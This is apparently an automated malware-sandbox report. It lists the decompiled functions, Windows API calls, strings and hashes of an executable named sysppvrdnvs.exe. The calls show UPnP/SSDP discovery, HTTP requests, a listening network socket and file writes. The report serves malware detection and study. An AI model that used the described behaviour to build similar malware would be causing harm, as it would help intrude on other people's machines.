Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

\??\, xrefs: 004063B8
?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 0040B530 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(004163E0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

Part of subcall function 0040AB60: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: df0982d8961dfa7a6cd0b7929aac86f273bc3c16a843d5198fc6f9dd533ca4c4
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 0040DE90 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040DEA9
CloseHandle.KERNEL32(?), ref: 0040DED8
LeaveCriticalSection.KERNEL32(?), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(?), ref: 0040DEF4

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 00407390 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(004161D0), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

TCP, xrefs: 0040E13B
UDP, xrefs: 0040E158

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Analysis Process: sysppvrdnvs.exePID: 3060, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	22.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1512
Total number of Limit Nodes:	37

Executed Functions

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

239.255.255.250, xrefs: 0040E1EA
X#A, xrefs: 0040E258, 0040E25B

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: d4aae0188a0692a386eab894faa05248931f68ac7139597ebba67cfde0a765f4
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: d4aae0188a0692a386eab894faa05248931f68ac7139597ebba67cfde0a765f4
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
